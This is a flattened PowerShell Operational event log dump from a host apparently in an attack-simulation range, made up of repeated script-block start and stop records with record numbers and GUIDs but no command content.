410515102150x0677323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0677162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0677161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 